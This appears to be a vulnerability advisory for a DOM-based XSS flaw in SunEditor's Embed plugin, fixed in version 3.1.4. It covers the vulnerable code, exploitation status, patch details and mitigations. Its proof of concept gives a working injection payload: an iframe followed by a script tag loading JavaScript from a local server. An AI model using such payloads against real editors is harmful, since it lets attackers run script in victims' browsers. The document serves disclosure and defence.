SunEditor Embed Plugin has DOM XSS via External Script Element After Iframe EmbedGHSA-w93q-cq9w-58p7
Fix: JiHong88/suneditor@9d43a5eGHSA-w93q-cq9w-58p7 is a Cross-site Scripting (XSS) vulnerability in suneditor. A fix is available for suneditor — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-w93q-cq9w-58p7.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
suneditornpmDescription
Summary
A DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external <script src=...> element bypasses the plugin’s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.
If an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.
Details
The Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a <script> element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.
Relevant behavior:
const embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children; if (/^script$/i.test(chd.nodeName)) { scriptTag = dom.utils.createElement('script', { src: chd.getAttribute('src'), async: 'true' }, null); continue; } cover.appendChild(scriptTag);
Because the script is newly created and appended, it executes.
PoC
Start a local server hosting a JavaScript payload:
mkdir -p /tmp/suneditor-poc
cd /tmp/suneditor-poc
cat > poc.js <<'EOF'
alert(1);
console.log("SunEditor Embed Plugin XSS executed");
EOF
python3 -m http.server 8000
Open SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :
<iframe src="https://youtube.com/embed/x"></iframe><script src="http://127.0.0.1:8000/poc.js"></script>
Successful exploitation is confirmed when:
alert(1) appears
or the local server logs:
GET /poc.js
Impact
An attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user’s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.
The issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.
Suggested Fix
Do not recreate or append script elements from user-controlled embed HTML.
Minimum mitigation:
if (/^script$/i.test(chd.nodeName)) {
continue;
}
A stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | suneditor | all versions | 3.1.4npm install suneditor@3.1.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for suneditor, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update suneditor to 3.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w93q-cq9w-58p7 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is GHSA-w93q-cq9w-58p7 in your dependencies?
Find it across npm, including transitive dependencies.